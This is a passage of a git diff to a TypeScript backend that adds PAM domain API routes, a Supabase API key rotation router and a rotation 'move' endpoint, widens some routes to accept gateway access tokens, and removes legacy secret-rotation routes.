+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        orgId: req.permission.orgId,
+        projectId: req.body.projectId,
+        event: {
+          type: EventType.PAM_DOMAIN_CREATE,
+          metadata: {
+            domainType,
+            ...(req.body.gatewayId && { gatewayId: req.body.gatewayId }),
+            name: req.body.name
+          }
+        }
+      });
+
+      return { domain };
+    }
+  });
+
+  server.route({
+    method: "PATCH",
+    url: "/:domainId",
+    config: { rateLimit: writeLimit },
+    schema: {
+      operationId: `update${domainTypeId}PamDomain`,
+      description: `Update ${domainTypeId} PAM domain`,
+      params: z.object({ domainId: z.string().uuid() }),
+      body: updateDomainSchema,
+      response: {
+        200: z.object({
+          domain: domainResponseSchema
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const domain = await server.services.pamDomain.updateById(
+        {
+          ...req.body,
+          domainId: req.params.domainId
+        },
+        req.permission
+      );
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        orgId: req.permission.orgId,
+        projectId: domain.projectId,
+        event: {
+          type: EventType.PAM_DOMAIN_UPDATE,
+          metadata: {
+            domainId: req.params.domainId,
+            domainType,
+            ...(req.body.gatewayId && { gatewayId: req.body.gatewayId }),
+            ...(req.body.name && { name: req.body.name })
+          }
+        }
+      });
+
+      return { domain };
+    }
+  });
+
+  server.route({
+    method: "DELETE",
+    url: "/:domainId",
+    config: { rateLimit: writeLimit },
+    schema: {
+      operationId: `delete${domainTypeId}PamDomain`,
+      description: `Delete ${domainTypeId} PAM domain`,
+      params: z.object({ domainId: z.string().uuid() }),
+      response: {
+        200: z.object({
+          domain: domainResponseSchema
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const domain = await server.services.pamDomain.deleteById(req.params.domainId, req.permission);
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        orgId: req.permission.orgId,
+        projectId: domain.projectId,
+        event: {
+          type: EventType.PAM_DOMAIN_DELETE,
+          metadata: {
+            domainId: req.params.domainId,
+            domainType
+          }
+        }
+      });
+
+      return { domain };
+    }
+  });
+};
+
+export const registerActiveDirectoryRelatedResourcesEndpoint = (server: FastifyZodProvider) => {
+  server.route({
+    method: "GET",
+    url: "/:domainId/related-resources",
+    config: { rateLimit: readLimit },
+    schema: {
+      operationId: "listActiveDirectoryDomainRelatedResources",
+      description: "List resources related to an Active Directory domain",
+      params: z.object({ domainId: z.string().uuid() }),
+      response: {
+        200: z.object({
+          resources: SanitizedWindowsResourceSchema.array()
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const resources = await server.services.pamDomain.listRelatedResources(req.params.domainId, req.permission);
+      return { resources };
+    }
+  });
+};
diff --git a/backend/src/ee/routes/v1/pam-domain-routers/pam-domain-router.ts b/backend/src/ee/routes/v1/pam-domain-routers/pam-domain-router.ts
new file mode 100644
index 00000000000..f88eb9fc09a
--- /dev/null
+++ b/backend/src/ee/routes/v1/pam-domain-routers/pam-domain-router.ts
@@ -0,0 +1,108 @@
+import { z } from "zod";
+
+import { EventType } from "@app/ee/services/audit-log/audit-log-types";
+import { PamDomainOrderBy } from "@app/ee/services/pam-domain/pam-domain-enums";
+import {
+  ActiveDirectoryDomainListItemSchema,
+  SanitizedDomainSchema
+} from "@app/ee/services/pam-domain/pam-domain-schemas";
+import { OrderByDirection } from "@app/lib/types";
+import { readLimit } from "@app/server/config/rateLimiter";
+import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
+import { AuthMode } from "@app/services/auth/auth-type";
+
+const DomainOptionsSchema = z.discriminatedUnion("domain", [ActiveDirectoryDomainListItemSchema]);
+
+export const registerPamDomainRouter = async (server: FastifyZodProvider) => {
+  server.route({
+    method: "GET",
+    url: "/options",
+    config: {
+      rateLimit: readLimit
+    },
+    schema: {
+      operationId: "listPamDomainOptions",
+      description: "List available PAM domain types",
+      response: {
+        200: z.object({
+          options: DomainOptionsSchema.array()
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: () => {
+      const options = server.services.pamDomain.listDomainOptions();
+      return { options };
+    }
+  });
+
+  server.route({
+    method: "GET",
+    url: "/",
+    config: {
+      rateLimit: readLimit
+    },
+    schema: {
+      operationId: "listPamDomains",
+      description: "List PAM domains",
+      querystring: z.object({
+        projectId: z.string().uuid(),
+        search: z.string().optional(),
+        limit: z.coerce.number().int().min(1).max(100).optional(),
+        offset: z.coerce.number().int().min(0).optional(),
+        orderBy: z.nativeEnum(PamDomainOrderBy).default(PamDomainOrderBy.Name),
+        orderDirection: z.nativeEnum(OrderByDirection).default(OrderByDirection.ASC),
+        filterDomainTypes: z
+          .string()
+          .transform((val) =>
+            val
+              .split(",")
+              .map((s) => s.trim())
+              .filter(Boolean)
+          )
+          .optional(),
+        discoveryFingerprint: z.string().optional()
+      }),
+      response: {
+        200: z.object({
+          domains: SanitizedDomainSchema.array(),
+          totalCount: z.number()
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const { projectId, search, limit, offset, orderBy, orderDirection, filterDomainTypes, discoveryFingerprint } =
+        req.query;
+
+      const { domains, totalCount } = await server.services.pamDomain.list({
+        projectId,
+        search,
+        limit,
+        offset,
+        orderBy,
+        orderDirection,
+        filterDomainTypes,
+        actor: req.permission.type,
+        actorId: req.permission.id,
+        actorAuthMethod: req.permission.authMethod,
+        actorOrgId: req.permission.orgId,
+        discoveryFingerprint
+      });
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        orgId: req.permission.orgId,
+        projectId,
+        event: {
+          type: EventType.PAM_DOMAIN_LIST,
+          metadata: {
+            count: domains.length
+          }
+        }
+      });
+
+      return { domains, totalCount };
+    }
+  });
+};
diff --git a/backend/src/ee/routes/v1/pam-resource-routers/index.ts b/backend/src/ee/routes/v1/pam-resource-routers/index.ts
index 0fdc50ca5ce..ef58df57d7e 100644
--- a/backend/src/ee/routes/v1/pam-resource-routers/index.ts
+++ b/backend/src/ee/routes/v1/pam-resource-routers/index.ts
@@ -1,8 +1,3 @@
-import {
-  CreateActiveDirectoryResourceSchema,
-  SanitizedActiveDirectoryResourceSchema,
-  UpdateActiveDirectoryResourceSchema
-} from "@app/ee/services/pam-resource/active-directory/active-directory-resource-schemas";
 import {
   CreateAwsIamResourceSchema,
   SanitizedAwsIamResourceSchema,
@@ -51,7 +46,6 @@ import {
 } from "@app/ee/services/pam-resource/windows-server/windows-server-resource-schemas";
 
 import {
-  registerActiveDirectoryRelatedResourcesEndpoint,
   registerPamResourceEndpoints,
   registerSshCaPublicKeyEndpoint,
   registerSshCaSetupEndpoint
@@ -140,15 +134,5 @@ export const PAM_RESOURCE_REGISTER_ROUTER_MAP: Record<PamResource, (server: Fast
       createResourceSchema: CreateWindowsResourceSchema,
       updateResourceSchema: UpdateWindowsResourceSchema
     });
-  },
-  [PamResource.ActiveDirectory]: async (server: FastifyZodProvider) => {
-    registerPamResourceEndpoints({
-      server,
-      resourceType: PamResource.ActiveDirectory,
-      resourceResponseSchema: SanitizedActiveDirectoryResourceSchema,
-      createResourceSchema: CreateActiveDirectoryResourceSchema,
-      updateResourceSchema: UpdateActiveDirectoryResourceSchema
-    });
-    registerActiveDirectoryRelatedResourcesEndpoint(server);
   }
 };
diff --git a/backend/src/ee/routes/v1/pam-resource-routers/pam-resource-endpoints.ts b/backend/src/ee/routes/v1/pam-resource-routers/pam-resource-endpoints.ts
index a9d89327b95..486a6a13ee0 100644
--- a/backend/src/ee/routes/v1/pam-resource-routers/pam-resource-endpoints.ts
+++ b/backend/src/ee/routes/v1/pam-resource-routers/pam-resource-endpoints.ts
@@ -3,7 +3,6 @@ import { z } from "zod";
 import { EventType } from "@app/ee/services/audit-log/audit-log-types";
 import { PamResource } from "@app/ee/services/pam-resource/pam-resource-enums";
 import { TPamResource } from "@app/ee/services/pam-resource/pam-resource-types";
-import { SanitizedWindowsResourceSchema } from "@app/ee/services/pam-resource/windows-server/windows-server-resource-schemas";
 import { readLimit, writeLimit } from "@app/server/config/rateLimiter";
 import { getTelemetryDistinctId } from "@app/server/lib/telemetry";
 import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
@@ -360,31 +359,3 @@ echo ""
     }
   });
 };
-
-export const registerActiveDirectoryRelatedResourcesEndpoint = (server: FastifyZodProvider) => {
-  server.route({
-    method: "GET",
-    url: "/:resourceId/related-resources",
-    config: {
-      rateLimit: readLimit
-    },
-    schema: {
-      operationId: "getActiveDirectoryRelatedResources",
-      description: "List resources that belong to this Active Directory domain",
-      params: z.object({
-        resourceId: z.string().uuid()
-      }),
-      response: {
-        200: z.object({
-          resources: SanitizedWindowsResourceSchema.array()
-        })
-      }
-    },
-    onRequest: verifyAuth([AuthMode.JWT]),
-    handler: async (req) => {
-      const resources = await server.services.pamResource.listRelatedResources(req.params.resourceId, req.permission);
-
-      return { resources };
-    }
-  });
-};
diff --git a/backend/src/ee/routes/v1/pam-resource-routers/pam-resource-router.ts b/backend/src/ee/routes/v1/pam-resource-routers/pam-resource-router.ts
index 4550328310a..6726a6db9cd 100644
--- a/backend/src/ee/routes/v1/pam-resource-routers/pam-resource-router.ts
+++ b/backend/src/ee/routes/v1/pam-resource-routers/pam-resource-router.ts
@@ -2,10 +2,6 @@ import { z } from "zod";
 
 import { PamAccountDependenciesSchema } from "@app/db/schemas";
 import { EventType } from "@app/ee/services/audit-log/audit-log-types";
-import {
-  ActiveDirectoryResourceListItemSchema,
-  SanitizedActiveDirectoryResourceSchema
-} from "@app/ee/services/pam-resource/active-directory/active-directory-resource-schemas";
 import {
   AwsIamResourceListItemSchema,
   SanitizedAwsIamResourceSchema
@@ -58,8 +54,7 @@ const SanitizedResourceSchema = z.discriminatedUnion("resourceType", [
   SanitizedAwsIamResourceSchema,
   SanitizedMongoDBResourceSchema,
   SanitizedRedisResourceSchema,
-  SanitizedWindowsResourceSchema,
-  SanitizedActiveDirectoryResourceSchema
+  SanitizedWindowsResourceSchema
 ]);
 
 const SanitizedResourceWithFavoriteSchema = z.intersection(
@@ -76,8 +71,7 @@ const ResourceOptionsSchema = z.discriminatedUnion("resource", [
   AwsIamResourceListItemSchema,
   MongoDBResourceListItemSchema,
   RedisResourceListItemSchema,
-  WindowsResourceListItemSchema,
-  ActiveDirectoryResourceListItemSchema
+  WindowsResourceListItemSchema
 ]);
 
 export const registerPamResourceRouter = async (server: FastifyZodProvider) => {
diff --git a/backend/src/ee/routes/v1/pam-session-router.ts b/backend/src/ee/routes/v1/pam-session-router.ts
index 3e491cd51a0..d894aa3dac6 100644
--- a/backend/src/ee/routes/v1/pam-session-router.ts
+++ b/backend/src/ee/routes/v1/pam-session-router.ts
@@ -56,7 +56,7 @@ export const registerPamSessionRouter = async (server: FastifyZodProvider) => {
         })
       }
     },
-    onRequest: verifyAuth([AuthMode.IDENTITY_ACCESS_TOKEN]),
+    onRequest: verifyAuth([AuthMode.IDENTITY_ACCESS_TOKEN, AuthMode.GATEWAY_ACCESS_TOKEN]),
     handler: async (req) => {
       const { credentials, policyRules, projectId, account, sessionStarted } =
         await server.services.pamAccount.getSessionCredentials(req.params.sessionId, req.permission);
@@ -130,7 +130,7 @@ export const registerPamSessionRouter = async (server: FastifyZodProvider) => {
         })
       }
     },
-    onRequest: verifyAuth([AuthMode.IDENTITY_ACCESS_TOKEN]),
+    onRequest: verifyAuth([AuthMode.IDENTITY_ACCESS_TOKEN, AuthMode.GATEWAY_ACCESS_TOKEN]),
     handler: async (req) => {
       const { session, projectId } = await server.services.pamSession.updateLogsById(
         {
@@ -177,7 +177,7 @@ export const registerPamSessionRouter = async (server: FastifyZodProvider) => {
         })
       }
     },
-    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN, AuthMode.GATEWAY_ACCESS_TOKEN]),
     handler: async (req) => {
       const { session, projectId, alreadyEnded } = await server.services.pamSession.endSessionById(
         req.params.sessionId,
@@ -384,7 +384,7 @@ export const registerPamSessionRouter = async (server: FastifyZodProvider) => {
         200: z.object({ ok: z.literal(true) })
       }
     },
-    onRequest: verifyAuth([AuthMode.IDENTITY_ACCESS_TOKEN]),
+    onRequest: verifyAuth([AuthMode.IDENTITY_ACCESS_TOKEN, AuthMode.GATEWAY_ACCESS_TOKEN]),
     handler: async (req) => {
       const EventBatchSchema = z.array(z.union([PamSessionCommandLogSchema, TerminalEventSchema, HttpEventSchema]));
       try {
diff --git a/backend/src/ee/routes/v1/project-template-router.ts b/backend/src/ee/routes/v1/project-template-router.ts
index 3f5c58e9cfe..10bf1d0b571 100644
--- a/backend/src/ee/routes/v1/project-template-router.ts
+++ b/backend/src/ee/routes/v1/project-template-router.ts
@@ -17,7 +17,7 @@ const isReservedRoleSlug = (slug: string) =>
   Object.values(ProjectMembershipRole).includes(slug as ProjectMembershipRole);
 
 const isReservedRoleName = (name: string) =>
-  ["custom", "admin", "viewer", "developer", "no access"].includes(name.toLowerCase());
+  ["custom", "admin", "viewer", "member", "no access"].includes(name.toLowerCase());
 
 const SanitizedProjectTemplateSchema = ProjectTemplatesSchema.extend({
   roles: z
diff --git a/backend/src/ee/routes/v1/relay-router.ts b/backend/src/ee/routes/v1/relay-router.ts
index 89b2a9531bf..66e6640e45c 100644
--- a/backend/src/ee/routes/v1/relay-router.ts
+++ b/backend/src/ee/routes/v1/relay-router.ts
@@ -114,7 +114,7 @@ export const registerRelayRouter = async (server: FastifyZodProvider) => {
     config: {
       rateLimit: readLimit
     },
-    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN, AuthMode.GATEWAY_ACCESS_TOKEN]),
     handler: async (req) => {
       return server.services.relay.getRelays({
         actorId: req.permission.id,
diff --git a/backend/src/ee/routes/v1/secret-approval-request-router.ts b/backend/src/ee/routes/v1/secret-approval-request-router.ts
index 1822e53ed23..19a26d6d6ee 100644
--- a/backend/src/ee/routes/v1/secret-approval-request-router.ts
+++ b/backend/src/ee/routes/v1/secret-approval-request-router.ts
@@ -133,7 +133,7 @@ export const registerSecretApprovalRequestRouter = async (server: FastifyZodProv
         id: z.string()
       }),
       body: z.object({
-        bypassReason: z.string().optional()
+        bypassReason: z.string().max(1000).optional()
       }),
       response: {
         200: z.object({
diff --git a/backend/src/ee/routes/v1/secret-rotation-provider-router.ts b/backend/src/ee/routes/v1/secret-rotation-provider-router.ts
deleted file mode 100644
index e6a1ac72bcc..00000000000
--- a/backend/src/ee/routes/v1/secret-rotation-provider-router.ts
+++ /dev/null
@@ -1,45 +0,0 @@
-import { z } from "zod";
-
-import { readLimit } from "@app/server/config/rateLimiter";
-import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
-import { AuthMode } from "@app/services/auth/auth-type";
-
-export const registerSecretRotationProviderRouter = async (server: FastifyZodProvider) => {
-  server.route({
-    method: "GET",
-    url: "/:workspaceId",
-    config: {
-      rateLimit: readLimit
-    },
-    schema: {
-      params: z.object({
-        workspaceId: z.string().trim()
-      }),
-      response: {
-        200: z.object({
-          providers: z
-            .object({
-              name: z.string(),
-              title: z.string(),
-              image: z.string().optional(),
-              description: z.string().optional(),
-              template: z.any(),
-              isDeprecated: z.boolean().optional()
-            })
-            .array()
-        })
-      }
-    },
-    onRequest: verifyAuth([AuthMode.JWT]),
-    handler: async (req) => {
-      const providers = await server.services.secretRotation.getProviderTemplates({
-        actor: req.permission.type,
-        actorId: req.permission.id,
-        actorAuthMethod: req.permission.authMethod,
-        actorOrgId: req.permission.orgId,
-        projectId: req.params.workspaceId
-      });
-      return providers;
-    }
-  });
-};
diff --git a/backend/src/ee/routes/v1/secret-rotation-router.ts b/backend/src/ee/routes/v1/secret-rotation-router.ts
deleted file mode 100644
index 936459fa162..00000000000
--- a/backend/src/ee/routes/v1/secret-rotation-router.ts
+++ /dev/null
@@ -1,176 +0,0 @@
-import { z } from "zod";
-
-import { SecretRotationOutputsSchema, SecretRotationsSchema } from "@app/db/schemas";
-import { removeTrailingSlash } from "@app/lib/fn";
-import { readLimit, writeLimit } from "@app/server/config/rateLimiter";
-import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
-import { AuthMode } from "@app/services/auth/auth-type";
-
-export const registerSecretRotationRouter = async (server: FastifyZodProvider) => {
-  server.route({
-    method: "POST",
-    url: "/",
-    config: {
-      rateLimit: writeLimit
-    },
-    schema: {
-      body: z.object({
-        workspaceId: z.string().trim(),
-        secretPath: z.string().trim().transform(removeTrailingSlash),
-        environment: z.string().trim(),
-        interval: z.number().min(1),
-        provider: z.string().trim(),
-        customProvider: z.string().trim().optional(),
-        inputs: z.record(z.unknown()),
-        outputs: z.record(z.string())
-      }),
-      response: {
-        200: z.object({
-          secretRotation: SecretRotationsSchema.merge(
-            z.object({
-              environment: z.object({
-                id: z.string(),
-                name: z.string(),
-                slug: z.string()
-              }),
-              outputs: SecretRotationOutputsSchema.array()
-            })
-          )
-        })
-      }
-    },
-    onRequest: verifyAuth([AuthMode.JWT]),
-    handler: async (req) => {
-      const secretRotation = await server.services.secretRotation.createRotation({
-        actor: req.permission.type,
-        actorAuthMethod: req.permission.authMethod,
-        actorId: req.permission.id,
-        actorOrgId: req.permission.orgId,
-        ...req.body,
-        projectId: req.body.workspaceId
-      });
-      return { secretRotation };
-    }
-  });
-
-  server.route({
-    url: "/restart",
-    method: "POST",
-    config: {
-      rateLimit: writeLimit
-    },
-    schema: {
-      body: z.object({
-        id: z.string().trim()
-      }),
-      response: {
-        200: z.object({
-          secretRotation: SecretRotationsSchema.merge(
-            z.object({
-              environment: z.object({
-                id: z.string(),
-                name: z.string(),
-                slug: z.string()
-              })
-            })
-          )
-        })
-      }
-    },
-    onRequest: verifyAuth([AuthMode.JWT]),
-    handler: async (req) => {
-      const secretRotation = await server.services.secretRotation.restartById({
-        actor: req.permission.type,
-        actorId: req.permission.id,
-        actorAuthMethod: req.permission.authMethod,
-        actorOrgId: req.permission.orgId,
-        rotationId: req.body.id
-      });
-      return { secretRotation };
-    }
-  });
-
-  server.route({
-    url: "/",
-    method: "GET",
-    config: {
-      rateLimit: readLimit
-    },
-    schema: {
-      querystring: z.object({
-        workspaceId: z.string().trim()
-      }),
-      response: {
-        200: z.object({
-          secretRotations: SecretRotationsSchema.merge(
-            z.object({
-              environment: z.object({
-                id: z.string(),
-                name: z.string(),
-                slug: z.string()
-              }),
-              outputs: z
-                .object({
-                  key: z.string(),
-                  secret: z.object({
-                    secretKey: z.string(),
-                    id: z.string(),
-                    version: z.number()
-                  })
-                })
-                .array()
-            })
-          ).array()
-        })
-      }
-    },
-    onRequest: verifyAuth([AuthMode.JWT]),
-    handler: async (req) => {
-      const secretRotations = await server.services.secretRotation.getByProjectId({
-        actor: req.permission.type,
-        actorId: req.permission.id,
-        actorAuthMethod: req.permission.authMethod,
-        actorOrgId: req.permission.orgId,
-        projectId: req.query.workspaceId
-      });
-      return { secretRotations };
-    }
-  });
-
-  server.route({
-    method: "DELETE",
-    url: "/:id",
-    config: {
-      rateLimit: writeLimit
-    },
-    schema: {
-      params: z.object({
-        id: z.string().trim()
-      }),
-      response: {
-        200: z.object({
-          secretRotation: SecretRotationsSchema.merge(
-            z.object({
-              environment: z.object({
-                id: z.string(),
-                name: z.string(),
-                slug: z.string()
-              })
-            })
-          )
-        })
-      }
-    },
-    onRequest: verifyAuth([AuthMode.JWT]),
-    handler: async (req) => {
-      const secretRotation = await server.services.secretRotation.deleteById({
-        actor: req.permission.type,
-        actorId: req.permission.id,
-        actorAuthMethod: req.permission.authMethod,
-        actorOrgId: req.permission.orgId,
-        rotationId: req.params.id
-      });
-      return { secretRotation };
-    }
-  });
-};
diff --git a/backend/src/ee/routes/v1/secret-version-router.ts b/backend/src/ee/routes/v1/secret-version-router.ts
index a09a05c91a1..2c768fb0eb5 100644
--- a/backend/src/ee/routes/v1/secret-version-router.ts
+++ b/backend/src/ee/routes/v1/secret-version-router.ts
@@ -18,7 +18,7 @@ export const registerSecretVersionRouter = async (server: FastifyZodProvider) =>
       }),
       querystring: z.object({
         offset: z.coerce.number(),
-        limit: z.coerce.number()
+        limit: z.coerce.number().max(1000)
       }),
       response: {
         200: z.object({
diff --git a/backend/src/ee/routes/v2/gateway-router.ts b/backend/src/ee/routes/v2/gateway-router.ts
index f72ec9b3f46..ccf9d5e3a0f 100644
--- a/backend/src/ee/routes/v2/gateway-router.ts
+++ b/backend/src/ee/routes/v2/gateway-router.ts
@@ -47,17 +47,16 @@ export const registerGatewayV2Router = async (server: FastifyZodProvider) => {
     config: {
       rateLimit: writeLimit
     },
-    onRequest: verifyAuth([AuthMode.IDENTITY_ACCESS_TOKEN]),
+    onRequest: verifyAuth([AuthMode.IDENTITY_ACCESS_TOKEN, AuthMode.GATEWAY_ACCESS_TOKEN]),
     handler: async (req) => {
-      const gateway = await server.services.gatewayV2.registerGateway({
+      return server.services.gatewayV2.registerGateway({
         orgId: req.permission.orgId,
         relayName: req.body.relayName,
         actorId: req.permission.id,
+        actorType: req.permission.type,
         actorAuthMethod: req.permission.authMethod,
         name: req.body.name
       });
-
-      return gateway;
     }
   });
 
@@ -75,7 +74,7 @@ export const registerGatewayV2Router = async (server: FastifyZodProvider) => {
         })
       }
     },
-    onRequest: verifyAuth([AuthMode.IDENTITY_ACCESS_TOKEN]),
+    onRequest: verifyAuth([AuthMode.IDENTITY_ACCESS_TOKEN, AuthMode.GATEWAY_ACCESS_TOKEN]),
     handler: async (req) => {
       await server.services.gatewayV2.heartbeat({
         orgPermission: req.permission
@@ -92,11 +91,9 @@ export const registerGatewayV2Router = async (server: FastifyZodProvider) => {
       operationId: "listGateways",
       response: {
         200: SanitizedGatewayV2Schema.extend({
-          identity: z.object({
-            name: z.string(),
-            id: z.string()
-          }),
-          connectedResourcesCount: z.number()
+          identity: z.object({ name: z.string(), id: z.string() }).nullable(),
+          connectedResourcesCount: z.number(),
+          enrollmentTokenStatus: z.enum(["pending", "expired"]).nullable()
         }).array()
       }
     },
@@ -178,7 +175,7 @@ export const registerGatewayV2Router = async (server: FastifyZodProvider) => {
         200: zodBuffer
       }
     },
-    onRequest: verifyAuth([AuthMode.IDENTITY_ACCESS_TOKEN]),
+    onRequest: verifyAuth([AuthMode.IDENTITY_ACCESS_TOKEN, AuthMode.GATEWAY_ACCESS_TOKEN]),
     handler: async (req) => {
       const pamSessionKey = await server.services.gatewayV2.getPamSessionKey({
         orgPermission: req.permission
diff --git a/backend/src/ee/routes/v2/secret-rotation-v2-routers/index.ts b/backend/src/ee/routes/v2/secret-rotation-v2-routers/index.ts
index cfc80dca09f..07cef7ba2c5 100644
--- a/backend/src/ee/routes/v2/secret-rotation-v2-routers/index.ts
+++ b/backend/src/ee/routes/v2/secret-rotation-v2-routers/index.ts
@@ -15,6 +15,7 @@ import { registerOpenRouterApiKeyRotationRouter } from "./open-router-api-key-ro
 import { registerOracleDBCredentialsRotationRouter } from "./oracledb-credentials-rotation-router";
 import { registerPostgresCredentialsRotationRouter } from "./postgres-credentials-rotation-router";
 import { registerRedisCredentialsRotationRouter } from "./redis-credentials-rotation-router";
+import { registerSupabaseApiKeyRotationRouter } from "./supabase-api-key-rotation-router";
 import { registerUnixLinuxLocalAccountRotationRouter } from "./unix-linux-local-account-rotation-router";
 import { registerWindowsLocalAccountRotationRouter } from "./windows-local-account-rotation-router";
 
@@ -40,5 +41,6 @@ export const SECRET_ROTATION_REGISTER_ROUTER_MAP: Record<
   [SecretRotation.DbtServiceToken]: registerDbtServiceTokenRotationRouter,
   [SecretRotation.WindowsLocalAccount]: registerWindowsLocalAccountRotationRouter,
   [SecretRotation.OpenRouterApiKey]: registerOpenRouterApiKeyRotationRouter,
-  [SecretRotation.HpIloLocalAccount]: registerHpIloRotationRouter
+  [SecretRotation.HpIloLocalAccount]: registerHpIloRotationRouter,
+  [SecretRotation.SupabaseApiKey]: registerSupabaseApiKeyRotationRouter
 };
diff --git a/backend/src/ee/routes/v2/secret-rotation-v2-routers/secret-rotation-v2-endpoints.ts b/backend/src/ee/routes/v2/secret-rotation-v2-routers/secret-rotation-v2-endpoints.ts
index de8d27e2ec0..08a305576b5 100644
--- a/backend/src/ee/routes/v2/secret-rotation-v2-routers/secret-rotation-v2-endpoints.ts
+++ b/backend/src/ee/routes/v2/secret-rotation-v2-routers/secret-rotation-v2-endpoints.ts
@@ -452,6 +452,62 @@ export const registerSecretRotationEndpoints = <
     }
   });
 
+  server.route({
+    method: "POST",
+    url: "/:rotationId/move",
+    config: {
+      rateLimit: writeLimit
+    },
+    schema: {
+      hide: false,
+      operationId: `move${rotationTypeId}Rotation`,
+      tags: [ApiDocsTags.SecretRotations],
+      description: `Move the specified ${rotationType} Rotation to a different secret path or environment.`,
+      params: z.object({
+        rotationId: z.string().uuid().describe(SecretRotations.UPDATE(type).rotationId)
+      }),
+      body: z.object({
+        destinationEnvironment: z.string().trim().min(1, "Destination environment required"),
+        destinationSecretPath: z.string().trim().min(1, "Destination secret path required"),
+        overwriteDestination: z.boolean().default(false)
+      }),
+      response: {
+        200: z.object({ secretRotation: responseSchema })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const { rotationId } = req.params;
+      const { destinationEnvironment, destinationSecretPath, overwriteDestination } = req.body;
+
+      const { secretRotation, sourceEnvironment, sourceSecretPath } =
+        await server.services.secretRotationV2.moveSecretRotation(
+          { rotationId, type, destinationEnvironment, destinationSecretPath, overwriteDestination },
+          req.permission
+        );
+
+      const movedRotation = secretRotation as T;
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        projectId: movedRotation.projectId,
+        event: {
+          type: EventType.MOVE_SECRET_ROTATION,
+          metadata: {
+            type,
+            rotationId,
+            sourceEnvironment,
+            sourceSecretPath,
+            destinationEnvironment,
+            destinationSecretPath
+          }
+        }
+      });
+
+      return { secretRotation: movedRotation };
+    }
+  });
+
   server.route({
     method: "POST",
     url: "/:rotationId/rotate-secrets",
diff --git a/backend/src/ee/routes/v2/secret-rotation-v2-routers/secret-rotation-v2-router.ts b/backend/src/ee/routes/v2/secret-rotation-v2-routers/secret-rotation-v2-router.ts
index bea58740206..e5ff3d6d48c 100644
--- a/backend/src/ee/routes/v2/secret-rotation-v2-routers/secret-rotation-v2-router.ts
+++ b/backend/src/ee/routes/v2/secret-rotation-v2-routers/secret-rotation-v2-router.ts
@@ -17,6 +17,7 @@ import { OracleDBCredentialsRotationListItemSchema } from "@app/ee/services/secr
 import { PostgresCredentialsRotationListItemSchema } from "@app/ee/services/secret-rotation-v2/postgres-credentials";
 import { RedisCredentialsRotationListItemSchema } from "@app/ee/services/secret-rotation-v2/redis-credentials";
 import { SecretRotationV2Schema } from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-union-schema";
+import { SupabaseApiKeyRotationListItemSchema } from "@app/ee/services/secret-rotation-v2/supabase-api-key";
 import { UnixLinuxLocalAccountRotationListItemSchema } from "@app/ee/services/secret-rotation-v2/unix-linux-local-account-rotation";
 import { WindowsLocalAccountRotationListItemSchema } from "@app/ee/services/secret-rotation-v2/windows-local-account-rotation";
 import { ApiDocsTags, SecretRotations } from "@app/lib/api-docs";
@@ -41,7 +42,8 @@ const SecretRotationV2OptionsSchema = z.discriminatedUnion("type", [
   DbtServiceTokenRotationListItemSchema,
   WindowsLocalAccountRotationListItemSchema,
   OpenRouterApiKeyRotationListItemSchema,
-  HpIloRotationListItemSchema
+  HpIloRotationListItemSchema,
+  SupabaseApiKeyRotationListItemSchema
 ]);
 
 export const registerSecretRotationV2Router = async (server: FastifyZodProvider) => {
diff --git a/backend/src/ee/routes/v2/secret-rotation-v2-routers/supabase-api-key-rotation-router.ts b/backend/src/ee/routes/v2/secret-rotation-v2-routers/supabase-api-key-rotation-router.ts
new file mode 100644
index 00000000000..d16fabb7e0b
--- /dev/null
+++ b/backend/src/ee/routes/v2/secret-rotation-v2-routers/supabase-api-key-rotation-router.ts
@@ -0,0 +1,19 @@
+import { SecretRotation } from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-enums";
+import {
+  CreateSupabaseApiKeyRotationSchema,
+  SupabaseApiKeyRotationGeneratedCredentialsSchema,
+  SupabaseApiKeyRotationSchema,
+  UpdateSupabaseApiKeyRotationSchema
+} from "@app/ee/services/secret-rotation-v2/supabase-api-key";
+
+import { registerSecretRotationEndpoints } from "./secret-rotation-v2-endpoints";
+
+export const registerSupabaseApiKeyRotationRouter = async (server: FastifyZodProvider) =>
+  registerSecretRotationEndpoints({
+    type: SecretRotation.SupabaseApiKey,
+    server,
+    responseSchema: SupabaseApiKeyRotationSchema,
+    createSchema: CreateSupabaseApiKeyRotationSchema,
+    updateSchema: UpdateSupabaseApiKeyRotationSchema,
+    generatedCredentialsSchema: SupabaseApiKeyRotationGeneratedCredentialsSchema
+  });
diff --git a/backend/src/ee/routes/v3/gateway-router.ts b/backend/src/ee/routes/v3/gateway-router.ts
new file mode 100644
index 00000000000..eea110b64f3
--- /dev/null
+++ b/backend/src/ee/routes/v3/gateway-router.ts
@@ -0,0 +1,186 @@
+import z from "zod";
+
+import { GatewaysV2Schema } from "@app/db/schemas";
